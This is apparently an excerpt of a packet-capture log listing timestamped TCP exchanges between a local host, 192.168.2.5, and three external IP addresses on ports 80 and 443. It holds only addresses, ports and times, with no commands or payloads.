Nov 24, 2024 10:24:25.324568033 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.324628115 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.324780941 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.324790955 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.324832916 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.324975014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.325016022 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.325932980 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.326087952 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.326139927 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.327064991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.327138901 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.327171087 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.328119040 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.328227043 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.328265905 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.328651905 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.329289913 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.329360008 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.329397917 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.330284119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.330400944 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.330446005 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.331415892 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.331536055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.331578970 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.331789970 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.331845999 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.331883907 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.331903934 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.331916094 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.331923962 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.332482100 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.332576990 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.332616091 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.333734989 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.333748102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.333787918 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.334105015 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.334142923 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.334209919 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.334338903 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.334357977 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.334706068 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.334837914 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.334877014 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.335755110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.335819960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.335858107 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.336920977 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.337011099 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.337050915 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.337507010 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.337567091 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.337619066 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.337703943 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.337960005 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.338020086 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.338056087 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.339286089 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.339302063 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.339339018 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.340148926 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.340257883 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.340303898 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.341263056 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.341342926 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.341353893 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.341377974 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.341398954 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.341402054 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.341437101 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.342336893 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.342436075 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.342483044 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.343437910 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.343643904 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.343681097 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.344557047 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.344666004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.344707012 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.345645905 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.345727921 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.345763922 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.346750021 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.346877098 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.346914053 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.347803116 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.347922087 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.347959042 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.348949909 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.349061012 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.349097013 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.349991083 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.350038052 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.350083113 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.351098061 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.351272106 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.351309061 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.352221966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.352284908 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.352322102 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.353291035 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.353426933 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.353465080 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.354376078 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.354505062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.354543924 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.355474949 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.355628014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.355670929 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.356611967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.356710911 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.356751919 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.357650042 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.357737064 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.357783079 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.358757973 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.358840942 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.358879089 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.359883070 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.359965086 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.360011101 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.360970020 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.361038923 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.361073971 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.362080097 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.362133980 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.362168074 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.363106966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.363219023 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.363257885 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.364167929 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.415783882 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.432533026 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.432549000 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.432611942 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.432645082 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.432687044 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.435240984 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.435416937 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.435878038 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.435940981 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.435951948 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.435990095 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.436041117 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.436086893 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.436091900 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.436101913 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.436105013 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.436264038 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.436342955 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.436359882 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.436400890 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.439605951 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.439625978 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.439698935 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.439868927 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.439879894 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.441605091 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.441670895 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.441726923 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.441780090 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.447016954 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.447077036 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.447108984 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.447149992 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.452414989 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.452491999 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.452543974 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.452698946 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.457808971 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.457891941 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.457918882 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.457964897 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.463219881 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.463277102 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.463345051 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.463414907 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.464195013 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.467283010 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.467338085 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.467391014 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.467402935 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.467418909 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.467423916 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.468666077 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.468745947 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.468750954 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.468805075 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.470266104 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.470299006 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.470381975 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.470542908 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:25.470561028 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:25.471671104 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.471728086 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.471736908 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.471787930 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.478077888 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.478143930 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.478159904 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:25.478240967 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:25.508717060 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.508739948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.508822918 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.509337902 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.509553909 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.509596109 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.510082960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.510169029 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.510209084 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.511249065 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.511347055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.511390924 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.512317896 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.512330055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.512375116 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.513365030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.513484001 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.513530970 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.514484882 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.514581919 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.514626980 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.515546083 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.515634060 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.515681982 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.516665936 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.516690969 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.516727924 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.517780066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.517915010 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.517957926 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.518930912 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.519045115 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.519084930 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.519954920 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.520050049 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.520092010 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.521032095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.521102905 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.521147966 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.522123098 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.522136927 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.522171021 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.523231983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.523343086 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.523380995 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.524427891 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.524578094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.524615049 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.525547981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.525605917 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.525643110 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.526571989 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.526623011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.526660919 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.527796030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.527806997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.527849913 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.528764009 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.528839111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.528879881 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.529767990 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.529840946 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.529876947 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.531013966 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.531069994 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.531121016 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.532072067 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.532140970 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.532185078 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.533042908 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.533117056 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.533154964 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.534140110 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.534241915 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.534285069 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.535265923 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.535377026 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.535419941 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.536353111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.536407948 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.536442995 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.537559032 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.537705898 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.537750959 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.538569927 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.538686991 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.538729906 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.539630890 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.539772987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.539810896 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.540766954 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.540946960 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.540990114 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.541979074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.542094946 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.542170048 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.542969942 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.543052912 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.543092966 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.544028044 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.544096947 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.544133902 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.545216084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.545396090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.545438051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.546222925 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.546317101 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.546364069 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.547295094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.547410011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.547456980 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.548372984 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.548427105 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.548470020 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.549565077 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.549741030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.549799919 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.550750971 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.550888062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.550934076 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.551888943 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.552031994 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.552068949 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.552890062 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.552982092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.553025961 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.553883076 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.553989887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.554076910 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.555020094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.555083036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.555119991 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.556552887 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.556766033 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.556809902 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:25.557583094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:25.558690071 CET	80	49840	34.116.198.130	192.168.2.5
